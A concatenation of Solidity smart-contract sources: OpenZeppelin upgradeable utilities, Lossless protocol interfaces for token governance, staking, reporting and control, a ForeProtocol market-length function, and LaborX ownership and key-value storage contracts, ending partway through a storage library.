pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ILERC20 { function name() external view returns (string memory); function admin() external view returns (address); function getAdmin() external view returns (address); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address _recipient, uint256 _amount) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function approve(address _spender, uint256 _amount) external returns (bool); function transferFrom(address _sender, address _recipient, uint256 _amount) external returns (bool); function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool); function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool); function transferOutBlacklistedFunds(address[] calldata _from) external; function setLosslessAdmin(address _newAdmin) external; function transferRecoveryAdminOwnership(address _candidate, bytes32 _keyHash) external; function acceptRecoveryAdminOwnership(bytes memory _key) external; function proposeLosslessTurnOff() external; function executeLosslessTurnOff() external; function executeLosslessTurnOn() external; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event NewAdmin(address indexed _newAdmin); event NewRecoveryAdminProposal(address indexed _candidate); event NewRecoveryAdmin(address indexed _newAdmin); event LosslessTurnOffProposal(uint256 _turnOffDate); event LosslessOff(); event LosslessOn(); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ILosslessERC20.sol"; import "./ILosslessStaking.sol"; import "./ILosslessReporting.sol"; import "./ILosslessController.sol"; interface ILssGovernance { function LSS_TEAM_INDEX() external view returns(uint256); function TOKEN_OWNER_INDEX() external view returns(uint256); function COMMITEE_INDEX() external view returns(uint256); function committeeMembersCount() external view returns(uint256); function walletDisputePeriod() external view returns(uint256); function losslessStaking() external view returns (ILssStaking); function losslessReporting() external view returns (ILssReporting); function losslessController() external view returns (ILssController); function isCommitteeMember(address _account) external view returns(bool); function getIsVoted(uint256 _reportId, uint256 _voterIndex) external view returns(bool); function getVote(uint256 _reportId, uint256 _voterIndex) external view returns(bool); function isReportSolved(uint256 _reportId) external view returns(bool); function reportResolution(uint256 _reportId) external view returns(bool); function getAmountReported(uint256 _reportId) external view returns(uint256); function setDisputePeriod(uint256 _timeFrame) external; function addCommitteeMembers(address[] memory _members) external; function removeCommitteeMembers(address[] memory _members) external; function losslessVote(uint256 _reportId, bool _vote) external; function tokenOwnersVote(uint256 _reportId, bool _vote) external; function committeeMemberVote(uint256 _reportId, bool _vote) external; function resolveReport(uint256 _reportId) external; function proposeWallet(uint256 _reportId, address wallet) external; function rejectWallet(uint256 _reportId) external; function retrieveFunds(uint256 _reportId) external; function retrieveCompensation() external; function claimCommitteeReward(uint256 _reportId) external; function setCompensationAmount(uint256 _amount) external; function losslessClaim(uint256 _reportId) external; function setRevshareAdmin(address _address) external; function setRevsharePercentage(uint256 _amount) external; function revshareClaim(uint256 _reportId) external; event NewCommitteeMembers(address[] _members); event CommitteeMembersRemoval(address[] _members); event LosslessTeamPositiveVote(uint256 indexed _reportId); event LosslessTeamNegativeVote(uint256 indexed _reportId); event TokenOwnersPositiveVote(uint256 indexed _reportId); event TokenOwnersNegativeVote(uint256 indexed _reportId); event CommitteeMemberPositiveVote(uint256 indexed _reportId, address indexed _member); event CommitteeMemberNegativeVote(uint256 indexed _reportId, address indexed _member); event ReportResolve(uint256 indexed _reportId, bool indexed _resolution); event WalletProposal(uint256 indexed _reportId, address indexed _wallet); event CommitteeMemberClaim(uint256 indexed _reportId, address indexed _member, uint256 indexed _amount); event CommitteeMajorityReach(uint256 indexed _reportId, bool indexed _result); event NewDisputePeriod(uint256 indexed _newPeriod); event WalletRejection(uint256 indexed _reportId); event FundsRetrieval(uint256 indexed _reportId, uint256 indexed _amount); event CompensationRetrieval(address indexed _wallet, uint256 indexed _amount); event LosslessClaim(ILERC20 indexed _token, uint256 indexed _reportID, uint256 indexed _amount); event NewCompensationPercentage(uint256 indexed _compensationPercentage); event NewRevshareAdmin(address indexed _revshareAdmin); event NewRevsharePercentage(uint256 indexed _revsharePercentage); event RevshareClaim(ILERC20 indexed _token, uint256 indexed _reportID, uint256 indexed _amount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ILosslessERC20.sol"; import "./ILosslessGovernance.sol"; import "./ILosslessReporting.sol"; import "./ILosslessController.sol"; interface ILssStaking { function stakingToken() external returns(ILERC20); function losslessReporting() external returns(ILssReporting); function losslessController() external returns(ILssController); function losslessGovernance() external returns(ILssGovernance); function stakingAmount() external returns(uint256); function getVersion() external pure returns (uint256); function getIsAccountStaked(uint256 _reportId, address _account) external view returns(bool); function getStakerCoefficient(uint256 _reportId, address _address) external view returns (uint256); function stakerClaimableAmount(uint256 _reportId) external view returns (uint256); function pause() external; function unpause() external; function setLssReporting(ILssReporting _losslessReporting) external; function setStakingToken(ILERC20 _stakingToken) external; function setLosslessGovernance(ILssGovernance _losslessGovernance) external; function setStakingAmount(uint256 _stakingAmount) external; function stake(uint256 _reportId) external; function stakerClaim(uint256 _reportId) external; event NewStake(ILERC20 indexed _token, address indexed _account, uint256 indexed _reportId, uint256 _amount); event StakerClaim(address indexed _staker, ILERC20 indexed _token, uint256 indexed _reportID, uint256 _amount); event NewStakingAmount(uint256 indexed _newAmount); event NewStakingToken(ILERC20 indexed _newToken); event NewReportingContract(ILssReporting indexed _newContract); event NewGovernanceContract(ILssGovernance indexed _newContract); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ILosslessERC20.sol"; import "./ILosslessGovernance.sol"; import "./ILosslessStaking.sol"; import "./ILosslessController.sol"; interface ILssReporting { function reporterReward() external returns(uint256); function losslessReward() external returns(uint256); function stakersReward() external returns(uint256); function committeeReward() external returns(uint256); function reportLifetime() external view returns(uint256); function reportingAmount() external returns(uint256); function reportCount() external returns(uint256); function stakingToken() external returns(ILERC20); function losslessController() external returns(ILssController); function losslessGovernance() external returns(ILssGovernance); function getVersion() external pure returns (uint256); function getRewards() external view returns (uint256 _reporter, uint256 _lossless, uint256 _committee, uint256 _stakers); function report(ILERC20 _token, address _account) external returns (uint256); function reporterClaimableAmount(uint256 _reportId) external view returns (uint256); function getReportInfo(uint256 _reportId) external view returns(address _reporter, address _reportedAddress, address _secondReportedAddress, uint256 _reportTimestamps, ILERC20 _reportTokens, bool _secondReports, bool _reporterClaimStatus); function pause() external; function unpause() external; function setStakingToken(ILERC20 _stakingToken) external; function setLosslessGovernance(ILssGovernance _losslessGovernance) external; function setReportingAmount(uint256 _reportingAmount) external; function setReporterReward(uint256 _reward) external; function setLosslessReward(uint256 _reward) external; function setStakersReward(uint256 _reward) external; function setCommitteeReward(uint256 _reward) external; function setReportLifetime(uint256 _lifetime) external; function secondReport(uint256 _reportId, address _account) external; function reporterClaim(uint256 _reportId) external; function retrieveCompensation(address _adr, uint256 _amount) external; event ReportSubmission(ILERC20 indexed _token, address indexed _account, uint256 indexed _reportId, uint256 _amount); event SecondReportSubmission(ILERC20 indexed _token, address indexed _account, uint256 indexed _reportId); event NewReportingAmount(uint256 indexed _newAmount); event NewStakingToken(ILERC20 indexed _token); event NewGovernanceContract(ILssGovernance indexed _adr); event NewReporterReward(uint256 indexed _newValue); event NewLosslessReward(uint256 indexed _newValue); event NewStakersReward(uint256 indexed _newValue); event NewCommitteeReward(uint256 indexed _newValue); event NewReportLifetime(uint256 indexed _newValue); event ReporterClaim(address indexed _reporter, uint256 indexed _reportId, uint256 indexed _amount); event CompensationRetrieve(address indexed _adr, uint256 indexed _amount); } pragma solidity ^0.8.0; interface ProtectionStrategy { function isTransferAllowed(address token, address sender, address recipient, uint256 amount) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ILosslessERC20.sol"; import "./ILosslessGovernance.sol"; import "./ILosslessStaking.sol"; import "./ILosslessReporting.sol"; import "./IProtectionStrategy.sol"; interface ILssController { // function getLockedAmount(ILERC20 _token, address _account) returns (uint256); // function getAvailableAmount(ILERC20 _token, address _account) external view returns (uint256 amount); function retrieveBlacklistedFunds(address[] calldata _addresses, ILERC20 _token, uint256 _reportId) external returns(uint256); function whitelist(address _adr) external view returns (bool); function dexList(address _dexAddress) external returns (bool); function blacklist(address _adr) external view returns (bool); function admin() external view returns (address); function pauseAdmin() external view returns (address); function recoveryAdmin() external view returns (address); function guardian() external view returns (address); function losslessStaking() external view returns (ILssStaking); function losslessReporting() external view returns (ILssReporting); function losslessGovernance() external view returns (ILssGovernance); function dexTranferThreshold() external view returns (uint256); function settlementTimeLock() external view returns (uint256); function pause() external; function unpause() external; function setAdmin(address _newAdmin) external; function setRecoveryAdmin(address _newRecoveryAdmin) external; function setPauseAdmin(address _newPauseAdmin) external; function setSettlementTimeLock(uint256 _newTimelock) external; function setDexTransferThreshold(uint256 _newThreshold) external; function setDexList(address[] calldata _dexList, bool _value) external; function setWhitelist(address[] calldata _addrList, bool _value) external; function addToBlacklist(address _adr) external; function resolvedNegatively(address _adr) external; function setStakingContractAddress(ILssStaking _adr) external; function setReportingContractAddress(ILssReporting _adr) external; function setGovernanceContractAddress(ILssGovernance _adr) external; function proposeNewSettlementPeriod(ILERC20 _token, uint256 _seconds) external; function executeNewSettlementPeriod(ILERC20 _token) external; function activateEmergency(ILERC20 _token) external; function deactivateEmergency(ILERC20 _token) external; function setGuardian(address _newGuardian) external; function removeProtectedAddress(ILERC20 _token, address _protectedAddresss) external; function beforeTransfer(address _sender, address _recipient, uint256 _amount) external; function beforeTransferFrom(address _msgSender, address _sender, address _recipient, uint256 _amount) external; function beforeApprove(address _sender, address _spender, uint256 _amount) external; function beforeIncreaseAllowance(address _msgSender, address _spender, uint256 _addedValue) external; function beforeDecreaseAllowance(address _msgSender, address _spender, uint256 _subtractedValue) external; function beforeMint(address _to, uint256 _amount) external; function beforeBurn(address _account, uint256 _amount) external; function setProtectedAddress(ILERC20 _token, address _protectedAddress, ProtectionStrategy _strategy) external; event AdminChange(address indexed _newAdmin); event RecoveryAdminChange(address indexed _newAdmin); event PauseAdminChange(address indexed _newAdmin); event GuardianSet(address indexed _oldGuardian, address indexed _newGuardian); event NewProtectedAddress(ILERC20 indexed _token, address indexed _protectedAddress, address indexed _strategy); event RemovedProtectedAddress(ILERC20 indexed _token, address indexed _protectedAddress); event NewSettlementPeriodProposal(ILERC20 indexed _token, uint256 _seconds); event SettlementPeriodChange(ILERC20 indexed _token, uint256 _proposedTokenLockTimeframe); event NewSettlementTimelock(uint256 indexed _timelock); event NewDexThreshold(uint256 indexed _newThreshold); event NewDex(address indexed _dexAddress); event DexRemoval(address indexed _dexAddress); event NewWhitelistedAddress(address indexed _whitelistAdr); event WhitelistedAddressRemoval(address indexed _whitelistAdr); event NewBlacklistedAddress(address indexed _blacklistedAddres); event AccountBlacklistRemoval(address indexed _adr); event NewStakingContract(ILssStaking indexed _newAdr); event NewReportingContract(ILssReporting indexed _newAdr); event NewGovernanceContract(ILssGovernance indexed _newAdr); event EmergencyActive(ILERC20 indexed _token); event EmergencyDeactivation(ILERC20 indexed _token); }
This function activates the emergency mode When a report gets generated for a token, it enters an emergency state globally. The emergency period will be active for one settlement period. During this time users can only transfer settled tokens _token Token on which the emergency mode must get activated
function activateEmergency(ILERC20 _token) override external onlyLosslessEnv { tokenConfig[_token].emergencyMode = block.timestamp; emit EmergencyActive(_token); }
14,553,400
./full_match/80001/0xFeE3EeDf3CD8F841df64A9E789DD3AF88c16Fc63/sources/contracts/protocol/ForeProtocol.sol
Returns length of all markets array / nft height
function allMarketLength() external view returns (uint256) { return allMarkets.length; }
5,579,557
// File: @laborx/solidity-shared-contracts/contracts/ERC20Interface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Defines an interface for EIP20 token smart contract contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function decimals() public view returns (uint8); function totalSupply() public view returns (uint256 supply); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } // File: @laborx/solidity-shared-contracts/contracts/Owned.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Owned contract with safe ownership pass. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract Owned { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public contractOwner; address public pendingContractOwner; modifier onlyContractOwner { if (msg.sender == contractOwner) { _; } } constructor() public { contractOwner = msg.sender; } /// @notice Prepares ownership pass. /// Can only be called by current owner. /// @param _to address of the next owner. /// @return success. function changeContractOwnership(address _to) public onlyContractOwner returns (bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } /// @notice Finalize ownership pass. /// Can only be called by pending owner. /// @return success. function claimContractOwnership() public returns (bool) { if (msg.sender != pendingContractOwner) { return false; } emit OwnershipTransferred(contractOwner, pendingContractOwner); contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) public onlyContractOwner returns (bool) { if (newOwner == 0x0) { return false; } emit OwnershipTransferred(contractOwner, newOwner); contractOwner = newOwner; delete pendingContractOwner; return true; } /// @notice Allows the current owner to transfer control of the contract to a newOwner. /// @dev Backward compatibility only. /// @param newOwner The address to transfer ownership to. function transferContractOwnership(address newOwner) public returns (bool) { return transferOwnership(newOwner); } /// @notice Withdraw given tokens from contract to owner. /// This method is only allowed for contact owner. function withdrawTokens(address[] tokens) public onlyContractOwner { address _contractOwner = contractOwner; for (uint i = 0; i < tokens.length; i++) { ERC20Interface token = ERC20Interface(tokens[i]); uint balance = token.balanceOf(this); if (balance > 0) { token.transfer(_contractOwner, balance); } } } /// @notice Withdraw ether from contract to owner. /// This method is only allowed for contact owner. function withdrawEther() public onlyContractOwner { uint balance = address(this).balance; if (balance > 0) { contractOwner.transfer(balance); } } /// @notice Transfers ether to another address. /// Allowed only for contract owners. /// @param _to recepient address /// @param _value wei to transfer; must be less or equal to total balance on the contract function transferEther(address _to, uint256 _value) public onlyContractOwner { require(_to != 0x0, "INVALID_ETHER_RECEPIENT_ADDRESS"); if (_value > address(this).balance) { revert("INVALID_VALUE_TO_TRANSFER_ETHER"); } _to.transfer(_value); } } // File: @laborx/solidity-storage-contracts/contracts/Storage.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract Manager { function isAllowed(address _actor, bytes32 _role) public view returns (bool); function hasAccess(address _actor) public view returns (bool); } contract Storage is Owned { struct Crate { mapping(bytes32 => uint) uints; mapping(bytes32 => address) addresses; mapping(bytes32 => bool) bools; mapping(bytes32 => int) ints; mapping(bytes32 => uint8) uint8s; mapping(bytes32 => bytes32) bytes32s; mapping(bytes32 => AddressUInt8) addressUInt8s; mapping(bytes32 => string) strings; mapping(bytes32 => bytes) bytesSequences; } struct AddressUInt8 { address _address; uint8 _uint8; } mapping(bytes32 => Crate) internal crates; Manager public manager; modifier onlyAllowed(bytes32 _role) { if (!(msg.sender == address(this) || manager.isAllowed(msg.sender, _role))) { revert("STORAGE_FAILED_TO_ACCESS_PROTECTED_FUNCTION"); } _; } function setManager(Manager _manager) external onlyContractOwner returns (bool) { manager = _manager; return true; } function setUInt(bytes32 _crate, bytes32 _key, uint _value) public onlyAllowed(_crate) { _setUInt(_crate, _key, _value); } function _setUInt(bytes32 _crate, bytes32 _key, uint _value) internal { crates[_crate].uints[_key] = _value; } function getUInt(bytes32 _crate, bytes32 _key) public view returns (uint) { return crates[_crate].uints[_key]; } function setAddress(bytes32 _crate, bytes32 _key, address _value) public onlyAllowed(_crate) { _setAddress(_crate, _key, _value); } function _setAddress(bytes32 _crate, bytes32 _key, address _value) internal { crates[_crate].addresses[_key] = _value; } function getAddress(bytes32 _crate, bytes32 _key) public view returns (address) { return crates[_crate].addresses[_key]; } function setBool(bytes32 _crate, bytes32 _key, bool _value) public onlyAllowed(_crate) { _setBool(_crate, _key, _value); } function _setBool(bytes32 _crate, bytes32 _key, bool _value) internal { crates[_crate].bools[_key] = _value; } function getBool(bytes32 _crate, bytes32 _key) public view returns (bool) { return crates[_crate].bools[_key]; } function setInt(bytes32 _crate, bytes32 _key, int _value) public onlyAllowed(_crate) { _setInt(_crate, _key, _value); } function _setInt(bytes32 _crate, bytes32 _key, int _value) internal { crates[_crate].ints[_key] = _value; } function getInt(bytes32 _crate, bytes32 _key) public view returns (int) { return crates[_crate].ints[_key]; } function setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) public onlyAllowed(_crate) { _setUInt8(_crate, _key, _value); } function _setUInt8(bytes32 _crate, bytes32 _key, uint8 _value) internal { crates[_crate].uint8s[_key] = _value; } function getUInt8(bytes32 _crate, bytes32 _key) public view returns (uint8) { return crates[_crate].uint8s[_key]; } function setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) public onlyAllowed(_crate) { _setBytes32(_crate, _key, _value); } function _setBytes32(bytes32 _crate, bytes32 _key, bytes32 _value) internal { crates[_crate].bytes32s[_key] = _value; } function getBytes32(bytes32 _crate, bytes32 _key) public view returns (bytes32) { return crates[_crate].bytes32s[_key]; } function setAddressUInt8( bytes32 _crate, bytes32 _key, address _value, uint8 _value2 ) public onlyAllowed(_crate) { _setAddressUInt8(_crate, _key, _value, _value2); } function _setAddressUInt8( bytes32 _crate, bytes32 _key, address _value, uint8 _value2 ) internal { crates[_crate].addressUInt8s[_key] = AddressUInt8(_value, _value2); } function getAddressUInt8(bytes32 _crate, bytes32 _key) public view returns (address, uint8) { return (crates[_crate].addressUInt8s[_key]._address, crates[_crate].addressUInt8s[_key]._uint8); } function setString(bytes32 _crate, bytes32 _key, string _value) public onlyAllowed(_crate) { _setString(_crate, _key, _value); } function _setString(bytes32 _crate, bytes32 _key, string _value) internal { crates[_crate].strings[_key] = _value; } function getString(bytes32 _crate, bytes32 _key) public view returns (string) { return crates[_crate].strings[_key]; } function setBytesSequence(bytes32 _crate, bytes32 _key, bytes _value) public onlyAllowed(_crate) { _setBytesSequence(_crate, _key, _value); } function _setBytesSequence(bytes32 _crate, bytes32 _key, bytes _value) internal { crates[_crate].bytesSequences[_key] = _value; } function getBytesSequence(bytes32 _crate, bytes32 _key) public view returns (bytes) { return crates[_crate].bytesSequences[_key]; } } // File: @laborx/solidity-storage-contracts/contracts/StorageInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; library StorageInterface { struct Config { Storage store; bytes32 crate; } struct UInt { bytes32 id; } struct UInt8 { bytes32 id; } struct Int { bytes32 id; } struct Address { bytes32 id; } struct Bool { bytes32 id; } struct Bytes32 { bytes32 id; } struct String { bytes32 id; } struct BytesSequence { bytes32 id; } struct Mapping { bytes32 id; } struct StringMapping { String id; } struct BytesSequenceMapping { BytesSequence id; } struct UIntBoolMapping { Bool innerMapping; } struct UIntUIntMapping { Mapping innerMapping; } struct UIntBytes32Mapping { Mapping innerMapping; } struct UIntAddressMapping { Mapping innerMapping; } struct UIntEnumMapping { Mapping innerMapping; } struct AddressBoolMapping { Mapping innerMapping; } struct AddressUInt8Mapping { bytes32 id; } struct AddressUIntMapping { Mapping innerMapping; } struct AddressBytes32Mapping { Mapping innerMapping; } struct AddressAddressMapping { Mapping innerMapping; } struct Bytes32UIntMapping { Mapping innerMapping; } struct Bytes32UInt8Mapping { UInt8 innerMapping; } struct Bytes32BoolMapping { Bool innerMapping; } struct Bytes32Bytes32Mapping { Mapping innerMapping; } struct Bytes32AddressMapping { Mapping innerMapping; } struct Bytes32UIntBoolMapping { Bool innerMapping; } struct AddressAddressUInt8Mapping { Mapping innerMapping; } struct AddressAddressUIntMapping { Mapping innerMapping; } struct AddressUIntUIntMapping { Mapping innerMapping; } struct AddressUIntUInt8Mapping { Mapping innerMapping; } struct AddressBytes32Bytes32Mapping { Mapping innerMapping; } struct AddressBytes4BoolMapping { Mapping innerMapping; } struct AddressBytes4Bytes32Mapping { Mapping innerMapping; } struct UIntAddressUIntMapping { Mapping innerMapping; } struct UIntAddressAddressMapping { Mapping innerMapping; } struct UIntAddressBoolMapping { Mapping innerMapping; } struct UIntUIntAddressMapping { Mapping innerMapping; } struct UIntUIntBytes32Mapping { Mapping innerMapping; } struct UIntUIntUIntMapping { Mapping innerMapping; } struct Bytes32UIntUIntMapping { Mapping innerMapping; } struct AddressUIntUIntUIntMapping { Mapping innerMapping; } struct AddressUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntUIntUIntUIntStructAddressUInt8Mapping { AddressUInt8Mapping innerMapping; } struct AddressUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct AddressUIntUIntUIntAddressUInt8Mapping { Mapping innerMapping; } struct UIntAddressAddressBoolMapping { Bool innerMapping; } struct UIntUIntUIntBytes32Mapping { Mapping innerMapping; } struct Bytes32UIntUIntUIntMapping { Mapping innerMapping; } bytes32 constant SET_IDENTIFIER = "set"; struct Set { UInt count; Mapping indexes; Mapping values; } struct AddressesSet { Set innerSet; } struct CounterSet { Set innerSet; } bytes32 constant ORDERED_SET_IDENTIFIER = "ordered_set"; struct OrderedSet { UInt count; Bytes32 first; Bytes32 last; Mapping nextValues; Mapping previousValues; } struct OrderedUIntSet { OrderedSet innerSet; } struct OrderedAddressesSet { OrderedSet innerSet; } struct Bytes32SetMapping { Set innerMapping; } struct AddressesSetMapping { Bytes32SetMapping innerMapping; } struct UIntSetMapping { Bytes32SetMapping innerMapping; } struct Bytes32OrderedSetMapping { OrderedSet innerMapping; } struct UIntOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } struct AddressOrderedSetMapping { Bytes32OrderedSetMapping innerMapping; } // 